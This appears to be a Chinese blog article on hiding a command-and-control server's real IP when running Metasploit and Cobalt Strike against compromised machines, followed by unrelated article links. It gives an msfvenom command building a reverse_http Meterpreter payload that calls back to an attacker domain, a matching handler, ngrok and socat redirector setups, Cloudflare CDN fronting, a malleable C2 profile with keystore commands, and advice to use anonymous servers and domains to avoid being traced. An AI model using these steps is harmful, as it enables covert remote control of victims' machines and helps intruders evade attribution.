渗透测试框架之CobaltStrike,Metasploit域名上线隐藏IP

2024-05-26 21:44

本文主要是介绍渗透测试框架之CobaltStrike,Metasploit域名上线隐藏IP,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

概述

为什么要隐藏IP
在拿下了目标机之后,目标机在内网里面,使用msf或者CS时,用自己的VPS做服务器的话,导致很容易被溯源。

域名上线原理

当我们访问域名时会经过域名解析 域名解析就是域名到IP地址的转换过程,那么就意味这我们访问域名实际上最后是访问的真实IP
A 记录: 将域名指向一个 IPv4 地址(例如: 100.100.100.100 ),需要增加 A 记录
CNAME 记录: 如果将域名指向一个域名,实现与被指向域名相同的访问效果,需要增加 CNAME 记录。这个域名一般是主机服务商提供的一个域名
MX 记录: 建立电子邮箱服务,将指向邮件服务器地址,需要设置 MX 记录。建立邮箱时,一般会根据邮箱服务商提供的 MX 记录填写此记录
NS 记录: 域名解析服务器记录,如果要将子域名指定某个域名服务器来解析,需要设置 NS 记录
TXT 记录: 可任意填写,可为空。一般做一些验证记录时会使用此项,如:做 SPF (反垃圾邮件)记录
AAAA 记录: 将主机名(或域名)指向一个 IPv6 地址(例如: ff03:0:0:0:0:0:0:c1 ),需要添加 AAAA 记录
假设 现在有一个域名 www.aaa.com 配置了A记录
那么我想让我的msf上线能达到隐藏真实IP的效果吗

通过CDN上线MSF

CDN的全称是Content Delivery Network,即内容分发网络。其目的是通过在现有的Internet中增加一层新
的CACHE(缓存)层,将网站的内容发布到最接近用户的网络”边缘“的节点,目的提高用户访问网站的先赢速度
假设您的业务源站域名为 www.test.com ,当域名接入 CDN 开始使用加速服务后,您
的用户发起 HTTP 请求,实际的处理流程如图所示,根据他的处理流程,CDN最后会将流量转发到真实IP上, 那么我们便能通过CDN达到隐藏自身的效果

CDN上线具体实现

基础配置:一台VPS、一个域名
这里的VPS最好是匿名的
既然是隐藏自身 那么域名肯定不能使用自己备案的域名
https://freenom.com/ 注册免费域名 注册失败,可以用gmail注册
https://cart.godaddy.com/ 注册匿名域名
https://www.cloudflare.com/ 免费CDN

注意

Cloudflare支持的HTTP端口是:
80,8080,8880,2052,2082,2086,2095
Cloudflare支持的HTTPs端口是:
443,2053,2083,2087,2096,8443

MSF生成木马

msfvenom -p windows/x64/meterpreter/reverse_http LHOST=www.firreeoma.tk LPORT=2095 -f exe > shell.exe

MSF开启相对应监听

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_http
set lhost www.XXXX.tk
set lport 2095
run

流量分析CobaltStrike上线隐藏IP

CDN非法接入

使用CDN内容分发网络的多节点分布式技术,通过“加速、代理、缓存”隐藏在后面的静态文件或服务;最终
实现对外暴露的是CDN多节点的公网域名IP,很难甚至无法溯源真实后端服务器的域名或IP! 目标上线后流量走向
和MSF域名上线所需配置一样
1.开启一个listener
2.通过此监听生成后门
流量分析
观察流量信息会发现全程和CDN在做通信

隧道转发代理

利用内网穿透,将C2回连端口映射到其他公网地址,以达到测试程序通过其他公网地址进行回连,隐藏C2真实ip
1. 注册ngrok账号
https://ngrok.com/ 2.下载相应版本客户端
3.配置anth
4.转发端口
./ngrok tcp 10088
使用说明
https://dashboard.ngrok.com/get-started/setup 5.CS配置listener
6.生成payload运行上线

流量走向情况Wireshark抓包情况分析

并没有和我们的真实IP有交互 转发重定向
具体实现:两台vps 一台转发机器,一台teamserver
socat 转发
常用选项
-lh 将主机名添加到日志消息
-v 详细数据流量,文本
-x 详细数据流量,十六进制
-d 增加详细程度(最多使用 4 次;建议使用 2 次)
-lf <logfile> 记录到文件
socat TCP4-LISTEN:80,fork TCP4:C2ip:80 socat -d -d -d -d -lh -v -lf /var/log/socat.log TCP4-LISTEN:80,fork TCP4:C2 服务器 ip:C2 服务器监听 Port
解释:将此机器801端口接受到的流量转发给119.45.175.218:1212
1.创建监听
2.通过此监听生成木马上线

Wireshark抓包分析流量

通过查看连接情况和wireshark能够发现只和转发的机器有交互,在真实场景转发机器最好匿名

隐藏cs流量

cs配置文件Profile
下载地址
https://github.com/threatexpress/malleable-c2/archive/refs/heads/master.zip
keystore的生成方法:
去Cloudflare的SSL/TLS源服务器创建证书,使用默认配置生成pem和key。
复制证书创建txt导入,修改文件名为xxxx.pem 复制私钥创建txt导入,修改文件名为xxxx.key
将创建的pem和key文件上传至云服务器。执行以下命令(www.xxx.com为申请的域名)
openssl pkcs12 -export -in xxxx.pem -inkey xxxx.key -out www.xxx.com.p12 -name www.xxx.com -
passout pass:123456
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore www.xxx.com.store
-srckeystore www.xxx.com.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias www.xxx.com
openssl pkcs12 -export -in www.quarry.top.pem -inkey www.quarry.top.key -out www.quarry.top.p12 -
name www.quarry.top -passout pass:123456
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore
www.quarry.top.store -srckeystore www.quarry.top.p12 -srcstoretype PKCS12 -srcstorepass 123456 -
alias www.quarry.top
生成的keystore文件将该文件放在云服务器CS的根目录下。
然后将keystore文件名称和密码填入profile文件中。
对4.3版本Profile进行修改。需要修改的内容主要有七处,
一个是https-certificate模块中的keystore和password,修改后把注释去掉。
另外三处为http-stager、http-get、http-post模块中的Host和Referer。 剩余三处为Profile中的响应头配置,其中的header "Content-Type" "application/javascript; charset=utf-
8";修改为:header "Content-Type" "application/*; charset=utf-8"; 在修改完成后,使用CS自带的c2lint对profile语法进行检查,没有报错的话说明配置是对的。
修改CDN配置
在这个Profile中,我们请求的URI是以.js结尾的,Cloudflare作为一个CDN肯定要去缓存它,但这样的话请求就无法到达我们的CS服务器,自然也就无法上线了。使用开发模式并清除缓存。
测试上线 启动cs,设置配置为修改好的profile
对CS的listener进行配置。填入三次自己的域名,其他的默认,在https hosts处也可添加站长ping出来的cdn ip 生成木马,在pc运行,成功上线验证数据包
上线后Wireshark捕捉到的get数据包,104.21.40.221为我们的cdn地址。host与referer为我们的域名。
https://onlinesim.ru/auth/login/?redirect=https://onlinesim.ru/v2/receive/sms?/

这篇关于渗透测试框架之CobaltStrike,Metasploit域名上线隐藏IP的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1005674

相关文章

Spring Boot 实现 IP 限流的原理、实践与利弊解析

《SpringBoot实现IP限流的原理、实践与利弊解析》在SpringBoot中实现IP限流是一种简单而有效的方式来保障系统的稳定性和可用性,本文给大家介绍SpringBoot实现IP限... 目录一、引言二、IP 限流原理2.1 令牌桶算法2.2 漏桶算法三、使用场景3.1 防止恶意攻击3.2 控制资源

SpringBoot服务获取Pod当前IP的两种方案

《SpringBoot服务获取Pod当前IP的两种方案》在Kubernetes集群中,SpringBoot服务获取Pod当前IP的方案主要有两种,通过环境变量注入或通过Java代码动态获取网络接口IP... 目录方案一:通过 Kubernetes Downward API 注入环境变量原理步骤方案二:通过

python多线程并发测试过程

《python多线程并发测试过程》:本文主要介绍python多线程并发测试过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、并发与并行?二、同步与异步的概念?三、线程与进程的区别?需求1:多线程执行不同任务需求2:多线程执行相同任务总结一、并发与并行?1、

C++ HTTP框架推荐(特点及优势)

《C++HTTP框架推荐(特点及优势)》:本文主要介绍C++HTTP框架推荐的相关资料,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录1. Crow2. Drogon3. Pistache4. cpp-httplib5. Beast (Boos

SpringBoot基础框架详解

《SpringBoot基础框架详解》SpringBoot开发目的是为了简化Spring应用的创建、运行、调试和部署等,使用SpringBoot可以不用或者只需要很少的Spring配置就可以让企业项目快... 目录SpringBoot基础 – 框架介绍1.SpringBoot介绍1.1 概述1.2 核心功能2

Spring框架中@Lazy延迟加载原理和使用详解

《Spring框架中@Lazy延迟加载原理和使用详解》:本文主要介绍Spring框架中@Lazy延迟加载原理和使用方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐... 目录一、@Lazy延迟加载原理1.延迟加载原理1.1 @Lazy三种配置方法1.2 @Component

Java根据IP地址实现归属地获取

《Java根据IP地址实现归属地获取》Ip2region是一个离线IP地址定位库和IP定位数据管理框架,这篇文章主要为大家详细介绍了Java如何使用Ip2region实现根据IP地址获取归属地,感兴趣... 目录一、使用Ip2region离线获取1、Ip2region简介2、导包3、下编程载xdb文件4、J

使用Python实现IP地址和端口状态检测与监控

《使用Python实现IP地址和端口状态检测与监控》在网络运维和服务器管理中,IP地址和端口的可用性监控是保障业务连续性的基础需求,本文将带你用Python从零打造一个高可用IP监控系统,感兴趣的小伙... 目录概述:为什么需要IP监控系统使用步骤说明1. 环境准备2. 系统部署3. 核心功能配置系统效果展

Go语言开发实现查询IP信息的MCP服务器

《Go语言开发实现查询IP信息的MCP服务器》随着MCP的快速普及和广泛应用,MCP服务器也层出不穷,本文将详细介绍如何在Go语言中使用go-mcp库来开发一个查询IP信息的MCP... 目录前言mcp-ip-geo 服务器目录结构说明查询 IP 信息功能实现工具实现工具管理查询单个 IP 信息工具的实现服

Python中使用正则表达式精准匹配IP地址的案例

《Python中使用正则表达式精准匹配IP地址的案例》Python的正则表达式(re模块)是完成这个任务的利器,但你知道怎么写才能准确匹配各种合法的IP地址吗,今天我们就来详细探讨这个问题,感兴趣的朋... 目录为什么需要IP正则表达式?IP地址的基本结构基础正则表达式写法精确匹配0-255的数字验证IP地